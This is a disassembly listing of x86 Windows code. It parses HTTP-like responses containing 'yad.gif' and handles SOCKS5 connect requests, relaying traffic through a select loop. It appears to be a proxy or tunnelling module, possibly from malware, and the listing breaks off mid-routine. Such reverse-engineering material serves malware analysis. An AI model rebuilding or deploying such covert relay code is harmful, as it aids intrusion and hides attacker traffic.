loc_4169DD:				; CODE XREF: sub_416949+6Ej
		push	[ebp+var_C]
		call	ds:dword_4180E0
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_416949	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169EF	proc near		; CODE XREF: sub_406859+Cp
					; sub_406877+15p
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+24h]
		call	ds:dword_4180A8
		mov	ecx, esi
		call	sub_40B150
		push	0Ah
		call	sub_4167FD
		push	0Ah
		call	sub_416813
		pop	ecx
		pop	ecx
		lea	eax, [esi+28h]
		push	eax
		call	ds:dword_4180DC
		lea	ebx, [esi+44h]
		mov	edi, [ebx]
		test	edi, edi
		jz	short loc_416A56
		push	ebp


loc_416A28:				; CODE XREF: sub_4169EF+64j
		test	edi, edi
		jz	short loc_416A30
		mov	ebp, [edi]
		jmp	short loc_416A32
; ---------------------------------------------------------------------------


loc_416A30:				; CODE XREF: sub_4169EF+3Bj
		xor	ebp, ebp


loc_416A32:				; CODE XREF: sub_4169EF+3Fj
		test	ebp, ebp
		jz	short loc_416A44
		mov	ecx, ebp
		call	sub_4168D5
		push	ebp
		call	sub_40D0B6
		pop	ecx


loc_416A44:				; CODE XREF: sub_4169EF+45j
		mov	ebp, [edi+4]
		push	edi
		mov	ecx, ebx
		call	sub_4041B2
		test	ebp, ebp
		mov	edi, ebp
		jnz	short loc_416A28
		pop	ebp


loc_416A56:				; CODE XREF: sub_4169EF+36j
		lea	edi, [esi+28h]
		push	edi
		call	ds:dword_4180E0
		lea	ecx, [esi+4Ch]
		call	sub_401F70
		lea	ecx, [esi+40h]
		call	sub_401205
		push	edi
		call	ds:dword_4180D8
		push	dword ptr [esi+24h]
		call	ds:dword_4180A4
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4169EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A84	proc near		; CODE XREF: sub_416E86+6Bp

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aYad_gif ; "yad.gif"
		lea	edi, [ebp+var_10]
		movsd
		xor	ebx, ebx
		push	ebx
		lea	eax, [ebp+var_10]
		push	eax
		movsw
		call	sub_40DB2F
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_40DCEB
		cmp	[ebp+var_8], ebx
		lea	ecx, [ebp+var_8]
		jz	loc_416B64
		push	ebx
		push	offset asc_418210 ; "\n"
		call	sub_40DB2F
		cmp	eax, ebx
		jz	loc_416B61
		mov	ecx, [ebp+arg_4]
		mov	[eax-1], bl
		mov	eax, [ebp+var_8]
		add	eax, 6
		push	eax
		call	sub_4012E7
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	offset dword_4202CC
		call	sub_40DB2F
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DCEB
		cmp	[ebp+var_4], ebx
		lea	ecx, [ebp+var_4]
		jz	short loc_416B5C
		push	ebx
		push	offset asc_41BC28 ; " "
		call	sub_40DB2F
		cmp	eax, ebx
		jz	short loc_416B59
		mov	[eax], bl
		mov	esi, [ebp+var_4]
		xor	edx, edx
		cmp	[esi], bl
		mov	eax, esi
		jz	short loc_416B2D


loc_416B1C:				; CODE XREF: sub_416A84+A3j
		inc	eax
		mov	cl, [eax]
		cmp	cl, 2Fh
		jnz	short loc_416B25
		inc	edx


loc_416B25:				; CODE XREF: sub_416A84+9Ej
		cmp	cl, bl
		jnz	short loc_416B1C
		cmp	edx, ebx
		jnz	short loc_416B4C


loc_416B2D:				; CODE XREF: sub_416A84+96j
		push	offset a00	; "00\r\n\r\n"
		push	esi
		call	sub_40CE77
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_416B4C
		push	ebx
		push	offset dword_4202B8
		lea	ecx, [ebp+var_4]
		call	sub_40DB5E


loc_416B4C:				; CODE XREF: sub_416A84+A7j
					; sub_416A84+B8j
		push	[ebp+var_4]
		mov	ecx, [ebp+arg_4]
		call	sub_401AA0
		mov	bl, 1


loc_416B59:				; CODE XREF: sub_416A84+89j
		lea	ecx, [ebp+var_4]


loc_416B5C:				; CODE XREF: sub_416A84+7Aj
		call	sub_40DB59


loc_416B61:				; CODE XREF: sub_416A84+45j
		lea	ecx, [ebp+var_8]


loc_416B64:				; CODE XREF: sub_416A84+32j
		call	sub_40DB59
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	8
sub_416A84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B72	proc near		; CODE XREF: sub_416E86+81p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	0
		push	offset byte_4202B0
		mov	ecx, esi
		call	sub_40DB2F
		mov	edi, eax
		test	edi, edi
		jnz	short loc_416B92
		xor	al, al
		jmp	short loc_416BE0
; ---------------------------------------------------------------------------


loc_416B92:				; CODE XREF: sub_416B72+1Aj
		lea	ecx, [ebp+arg_4]
		call	sub_40DB48
		mov	eax, [esi]
		mov	ecx, edi
		sub	ecx, eax
		push	ecx
		push	eax
		lea	ecx, [ebp+arg_4]
		call	sub_40DB5E
		push	offset dword_4202D8
		lea	ecx, [ebp+arg_4]
		call	sub_401AA0
		push	[ebp+arg_0]
		lea	ecx, [ebp+arg_4]
		call	sub_401AA0
		push	edi
		lea	ecx, [ebp+arg_4]
		call	sub_401AA0
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_40DC39
		lea	ecx, [ebp+arg_4]
		call	sub_40DB59
		mov	al, 1


loc_416BE0:				; CODE XREF: sub_416B72+1Ej
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_416B72	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BE6	proc near		; CODE XREF: sub_416E86+149p
		add	ecx, 24h
		call	sub_401205
		push	offset dword_421D44
		call	ds:dword_4180E8
		retn
sub_416BE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BFA	proc near		; CODE XREF: sub_416E86+54p

var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	3
		mov	ebx, ecx
		mov	[ebp+var_1], 0
		pop	esi
		jmp	loc_416CB8
; ---------------------------------------------------------------------------


loc_416C11:				; CODE XREF: sub_416BFA+D8j
		push	[ebp+var_C]
		mov	ecx, [ebp+arg_0]
		call	sub_40707B
		mov	al, ds:byte_4202B0[edi]
		cmp	al, byte ptr [ebp+var_C]
		jnz	loc_416CB4
		inc	edi
		cmp	edi, 4
		jnz	loc_416CBA
		mov	esi, offset dword_4202E0
		lea	edi, [ebp+var_1C]
		movsd
		movsd
		movsd
		movsd
		mov	edi, [ebp+arg_0]
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, edi
		mov	[ebp+var_1], 1
		call	sub_40DB2F
		test	eax, eax
		jz	loc_416D19
		add	eax, 10h
		push	eax
		push	offset asc_418210 ; "\n"
		mov	ecx, edi
		mov	[ebp+var_8], eax
		call	sub_40DB2F
		mov	esi, eax
		test	esi, esi
		jz	loc_416D19
		lea	ecx, [ebp+arg_0]
		call	sub_40DB48
		sub	esi, [ebp+var_8]
		lea	ecx, [ebp+arg_0]
		dec	esi
		push	esi
		push	[ebp+var_8]
		call	sub_40DB5E
		push	[ebp+arg_0]
		call	sub_40CE59
		pop	ecx
		lea	ecx, [ebp+arg_0]
		mov	esi, eax
		call	sub_40DB59
		test	esi, esi
		jbe	short loc_416D19
		mov	eax, [edi]
		test	eax, eax
		jnz	short loc_416CDA
		and	[ebp+arg_0], eax
		jmp	short loc_416CE4
; ---------------------------------------------------------------------------


loc_416CB4:				; CODE XREF: sub_416BFA+2Bj
		test	edi, edi
		jle	short loc_416CBA


loc_416CB8:				; CODE XREF: sub_416BFA+12j
		xor	edi, edi


loc_416CBA:				; CODE XREF: sub_416BFA+35j
					; sub_416BFA+BCj
		mov	ecx, [ebx+24h]
		lea	edx, [ebp+var_8]
		push	edx
		push	1
		lea	edx, [ebp+var_C]
		mov	[ebp+var_8], esi
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+4]
		cmp	eax, 1
		jz	loc_416C11
		jmp	short loc_416D19
; ---------------------------------------------------------------------------


loc_416CDA:				; CODE XREF: sub_416BFA+B3j
		push	eax
		call	sub_40CD83
		pop	ecx
		mov	[ebp+arg_0], eax


loc_416CE4:				; CODE XREF: sub_416BFA+B8j
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+esi+1]
		push	eax
		mov	ecx, edi
		call	sub_40DADA
		mov	ecx, [ebx+24h]
		lea	edx, [ebp+var_8]
		push	edx
		mov	edx, [edi]
		add	edx, [ebp+arg_0]
		mov	eax, esi
		shr	eax, 0Ah
		add	eax, 5
		push	esi
		mov	[ebp+var_8], eax
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+4]
		cmp	eax, esi
		jz	short loc_416D19
		mov	[ebp+var_1], 0


loc_416D19:				; CODE XREF: sub_416BFA+5Dj
					; sub_416BFA+7Aj ...
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_416BFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D23	proc near		; CODE XREF: sub_417000+29p

arg_0		= byte ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		and	dword ptr [ebx+4], 0
		lea	edi, [ebx+10h]
		lea	esi, [esp+0Ch+arg_0]
		movsd
		movsd
		movsd
		push	offset dword_421D44
		movsd
		mov	[ebx+8], ebx
		call	ds:dword_4180E4
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_416D23	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D4D	proc near		; CODE XREF: sub_416E86+CEp
		push	esi
		mov	esi, ecx
		call	sub_40DB48
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		mov	eax, esi
		pop	esi
		retn
sub_416D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D61	proc near		; CODE XREF: sub_416E86+FBp

var_28		= byte ptr -28h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		and	[ebp+var_C], 0
		push	edi
		mov	esi, offset dword_4202F0
		lea	edi, [ebp+var_28]
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		lea	ecx, [ebp+var_28]
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	sub_40CE77
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	loc_416E34
		push	ebx
		push	offset asc_418210 ; "\n"
		push	edi
		call	sub_40CE77
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], ebx
		jz	loc_416E33
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		sub	ebx, edi
		push	ebx
		push	edi
		lea	ecx, [ebp+var_4]
		call	sub_40DB5E
		mov	eax, [ebp+var_4]
		add	eax, 10h
		push	eax
		call	sub_40CE59
		mov	esi, [esi+4]
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		pop	ecx
		sub	esi, ebx
		dec	esi
		push	esi
		lea	ecx, [ebp+var_18]
		mov	[ebp+var_C], eax
		call	sub_404576
		sub	edi, [ebp+var_8]
		mov	ebx, [ebp+var_18]
		push	edi
		push	[ebp+var_8]
		push	ebx
		call	sub_40CCF7
		mov	eax, [ebp+var_10]
		sub	esi, edi
		push	esi
		inc	eax
		push	eax
		add	ebx, edi
		push	ebx
		call	sub_40CCF7
		mov	ecx, [ebp+arg_0]
		add	esp, 18h
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4045A0
		cmp	[ebp+var_18], 0
		jz	short loc_416E2B
		push	[ebp+var_18]
		call	sub_40CCC5
		pop	ecx


loc_416E2B:				; CODE XREF: sub_416D61+BFj
		lea	ecx, [ebp+var_4]
		call	sub_40DB59


loc_416E33:				; CODE XREF: sub_416D61+4Bj
		pop	ebx


loc_416E34:				; CODE XREF: sub_416D61+30j
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		leave
		retn	4
sub_416D61	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E3D	proc near		; CODE XREF: sub_416E86+142p
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_416E58
		mov	ecx, edi
		call	sub_4168D5
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_416E58:				; CODE XREF: sub_416E3D+8j
		pop	edi
		pop	esi
		retn
sub_416E3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E5B	proc near		; CODE XREF: sub_416E86+DCp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_416E7C
		cmp	ebx, esi
		jz	short loc_416E7C
		mov	ecx, esi
		call	sub_4168D5
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_416E7C:				; CODE XREF: sub_416E5B+Dj
					; sub_416E5B+11j
		mov	[edi], ebx
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_416E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E86	proc near		; DATA XREF: sub_417000+17o

var_2C		= word ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	esi
		push	edi
		push	10h
		pop	edi
		lea	eax, [ebp+var_18]
		push	eax
		mov	esi, ecx
		mov	ecx, [esi+24h]
		lea	eax, [ebp+var_2C]
		push	eax
		mov	[ebp+var_2C], 2
		mov	[ebp+var_18], edi
		call	sub_40D97B
		lea	ecx, [ebp+var_2C]
		call	sub_40D719
		lea	ecx, [ebp+var_C]
		mov	[ebp+var_10], eax
		call	sub_40DB48
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		movzx	eax, byte ptr [esi+28h]
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40707B
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_416BFA
		test	al, al
		jz	loc_416FCD
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_416A84
		test	al, al
		jz	loc_416FCD
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_10]
		mov	ecx, esi
		call	sub_416B72
		mov	ecx, [esi+20h]
		push	1
		push	[ebp+var_C]
		mov	[ebp+var_14], 78h
		call	sub_416949
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_416F47
		mov	ecx, [esi+24h]
		mov	edx, [ecx]
		lea	edi, [ebp+var_14]
		push	edi
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		call	dword ptr [edx+8]
		mov	ecx, [esi+20h]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_416604
		jmp	short loc_416FC5
; ---------------------------------------------------------------------------


loc_416F47:				; CODE XREF: sub_416E86+9Fj
		push	edi
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_416F5B
		mov	ecx, eax
		call	sub_416D4D
		jmp	short loc_416F5D
; ---------------------------------------------------------------------------


loc_416F5B:				; CODE XREF: sub_416E86+CAj
		xor	eax, eax


loc_416F5D:				; CODE XREF: sub_416E86+D3j
		push	ebx
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_416E5B
		mov	edi, [ebp+var_8]
		mov	ecx, [esi+20h]
		lea	ebx, [edi+8]
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4165F2
		test	al, al
		jz	short loc_416FC4
		push	ebx
		mov	ecx, esi
		call	sub_416D61
		test	eax, eax
		mov	[ebp+var_1C], eax
		jle	short loc_416FC4
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, edi
		call	sub_40DC39
		push	0
		call	sub_40CFAE
		add	eax, [ebp+var_1C]
		pop	ecx
		mov	[edi+4], eax
		mov	ecx, [esi+24h]
		mov	eax, [ecx]
		lea	edx, [ebp+var_14]
		push	edx
		push	dword ptr [edi+0Ch]
		push	dword ptr [ebx]
		call	dword ptr [eax+8]
		mov	ecx, [esi+20h]
		and	[ebp+var_8], 0
		push	edi
		call	sub_4167A4


loc_416FC4:				; CODE XREF: sub_416E86+F6j
					; sub_416E86+105j
		pop	ebx


loc_416FC5:				; CODE XREF: sub_416E86+BFj
		lea	ecx, [ebp+var_8]
		call	sub_416E3D


loc_416FCD:				; CODE XREF: sub_416E86+5Bj
					; sub_416E86+72j
		mov	ecx, esi
		call	sub_416BE6
		push	esi
		call	sub_40D0B6
		pop	ecx
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		cmp	[ebp+var_10], 0
		pop	edi
		pop	esi
		jz	short locret_416FFC
		push	[ebp+var_10]
		call	sub_40D0B6
		pop	ecx

locret_416FFC:				; CODE XREF: sub_416E86+16Bj
		leave
		retn	4
sub_416E86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417000	proc near		; CODE XREF: sub_41667E+A2p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		sub	esp, 10h
		mov	[ebp+var_10], offset sub_416E86
		mov	edi, esp
		lea	esi, [ebp+var_10]
		movsd
		movsd
		movsd
		mov	ebx, ecx
		movsd
		call	sub_416D23
		mov	eax, [ebp+arg_4]
		mov	[ebx+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[ebx+24h], eax
		mov	al, [ebp+arg_8]
		push	0
		mov	ecx, ebx
		mov	[ebx+28h], al
		call	sub_408085
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	0Ch
sub_417000	endp


; =============== S U B	R O U T	I N E =======================================



sub_417052	proc near		; CODE XREF: sub_4171C1+128p
		add	ecx, 20h
		call	sub_401205
		push	offset dword_421D48
		call	ds:dword_4180E8
		retn
sub_417052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417066	proc near		; CODE XREF: sub_417180+7p
					; sub_417180+13p

var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ecx+20h]
		lea	edx, [ebp+var_8]
		push	edx
		push	1
		lea	edx, [ebp+var_1]
		mov	[ebp+var_8], 0Ah
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+4]
		cmp	eax, 1
		jnz	short loc_41708F
		movzx	eax, [ebp+var_1]
		leave
		retn
; ---------------------------------------------------------------------------


loc_41708F:				; CODE XREF: sub_417066+21j
		or	eax, 0FFFFFFFFh
		leave
		retn
sub_417066	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417094	proc near		; CODE XREF: sub_4171C1+111p

var_2410	= byte ptr -2410h
var_140C	= dword	ptr -140Ch
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2410h
		call	sub_4011B0
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	ecx, [esi+20h]
		lea	eax, [ebp+var_140C]
		xor	ebx, ebx
		push	eax
		mov	[ebp+var_140C],	ebx
		call	sub_40D686
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D686
		mov	edi, 400h


loc_4170D1:				; CODE XREF: sub_417094+78j
					; sub_417094+B8j ...
		push	1004h
		lea	eax, [ebp+var_140C]
		push	eax
		lea	eax, [ebp+var_2410]
		push	eax
		call	sub_40CCF7
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2410]
		push	eax
		push	ebx
		mov	[ebp+var_8], 384h
		mov	[ebp+var_4], ebx
		call	ds:dword_4181A4
		test	eax, eax
		jle	short loc_4170D1
		mov	ecx, [esi+20h]
		lea	eax, [ebp+var_2410]
		push	eax
		call	sub_40D6C2
		test	al, al
		jz	short loc_41713B
		mov	ecx, [esi+20h]
		push	ebx
		push	edi
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_40D876
		cmp	eax, ebx
		jle	short loc_417179
		mov	ecx, [ebp+arg_0]
		jmp	short loc_417166
; ---------------------------------------------------------------------------


loc_41713B:				; CODE XREF: sub_417094+8Bj
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_2410]
		push	eax
		call	sub_40D6C2
		test	al, al
		jz	short loc_4170D1
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	edi
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_40D876
		cmp	eax, ebx
		jle	short loc_417179
		mov	ecx, [esi+20h]


loc_417166:				; CODE XREF: sub_417094+A5j
		mov	edx, [ecx]
		push	ebx
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		call	dword ptr [edx+8]
		jmp	loc_4170D1
; ---------------------------------------------------------------------------


loc_417179:				; CODE XREF: sub_417094+A0j
					; sub_417094+CDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_417094	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417180	proc near		; CODE XREF: sub_4171C1+Ap

var_4		= byte ptr -4
var_3		= byte ptr -3

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_417066
		cmp	eax, 1
		jnz	short loc_4171BC
		mov	ecx, esi
		call	sub_417066
		test	eax, eax
		jnz	short loc_4171BC
		mov	ecx, [esi+20h]
		push	0
		push	2
		lea	edx, [ebp+var_4]
		mov	[ebp+var_4], 5
		mov	[ebp+var_3], al
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+8]
		dec	eax
		dec	eax
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4171BE
; ---------------------------------------------------------------------------


loc_4171BC:				; CODE XREF: sub_417180+Fj
					; sub_417180+1Aj
		xor	al, al


loc_4171BE:				; CODE XREF: sub_417180+3Aj
		pop	esi
		leave
		retn
sub_417180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171C1	proc near		; DATA XREF: sub_417325+17o

var_24		= word ptr -24h
var_22		= byte ptr -22h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		mov	edi, ecx
		call	sub_417180
		test	al, al
		jz	loc_4172E3
		mov	ecx, [edi+20h]
		lea	edx, [ebp+var_4]
		push	edx
		push	0Ah
		lea	edx, [ebp+var_14]
		mov	[ebp+var_4], 1Eh
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+4]
		cmp	eax, 0Ah
		jnz	loc_4172E3
		cmp	[ebp+var_14], 5
		jnz	loc_4172E3
		cmp	[ebp+var_13], 1
		jnz	loc_4172E3
		cmp	[ebp+var_12], 0
		jnz	loc_4172E3
		cmp	[ebp+var_11], 1
		jnz	loc_4172E3
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_24], 2
		call	sub_40CCF7
		push	2
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_22]
		push	eax
		call	sub_40CCF7
		push	0Ch
		call	sub_40D0BB
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_41725F
		mov	ecx, eax
		call	sub_40DD7C
		mov	esi, eax
		jmp	short loc_417261
; ---------------------------------------------------------------------------


loc_41725F:				; CODE XREF: sub_4171C1+91j
		xor	esi, esi


loc_417261:				; CODE XREF: sub_4171C1+9Cj
		push	14h
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, esi
		call	sub_40DFF7
		cmp	eax, 1
		jnz	short loc_4172D7
		mov	[ebp+var_11], al
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, esi
		mov	[ebp+var_14], 5
		mov	[ebp+var_13], 0
		mov	[ebp+var_12], 0
		mov	[ebp+var_8], 10h
		call	sub_40D94F
		test	eax, eax
		jnz	short loc_4172D7
		push	4
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40CCF7
		push	2
		lea	eax, [ebp+var_22]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40CCF7
		mov	ecx, [edi+20h]
		mov	eax, [ecx]
		add	esp, 18h
		lea	edx, [ebp+var_4]
		push	edx
		push	0Ah
		lea	edx, [ebp+var_14]
		push	edx
		call	dword ptr [eax+8]
		push	esi
		mov	ecx, edi
		call	sub_417094


loc_4172D7:				; CODE XREF: sub_4171C1+B0j
					; sub_4171C1+D9j
		test	esi, esi
		jz	short loc_4172E3
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax]


loc_4172E3:				; CODE XREF: sub_4171C1+11j
					; sub_4171C1+33j ...
		test	edi, edi
		jz	short loc_4172F5
		mov	ecx, edi
		call	sub_417052
		push	edi
		call	sub_40D0B6
		pop	ecx


loc_4172F5:				; CODE XREF: sub_4171C1+124j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4171C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4172FB	proc near		; CODE XREF: sub_417325+29p

arg_0		= byte ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		and	dword ptr [ebx+4], 0
		lea	edi, [ebx+10h]
		lea	esi, [esp+0Ch+arg_0]
		movsd
		movsd
		movsd
		push	offset dword_421D48
		movsd
		mov	[ebx+8], ebx
		call	ds:dword_4180E4
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_4172FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417325	proc near		; CODE XREF: sub_41667E+EFp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		sub	esp, 10h
		mov	[ebp+var_10], offset sub_4171C1
		mov	edi, esp
		lea	esi, [ebp+var_10]
		movsd
		movsd
		movsd
		mov	ebx, ecx
		movsd
		call	sub_4172FB
		mov	eax, [ebp+arg_0]
		push	0
		mov	ecx, ebx
		mov	[ebx+20h], eax
		call	sub_408085
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	4
sub_417325	endp

; ---------------------------------------------------------------------------
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4173C0	proc near		; DATA XREF: __SEH_prologo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_417489
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4175B2
		add	esp, 4
		or	eax, eax
		jz	short loc_41747B


loc_417400:				; CODE XREF: sub_4173C0+B2j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_417482
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4+4]
		or	eax, eax
		jz	short loc_417469
		push	esi
		push	ebp
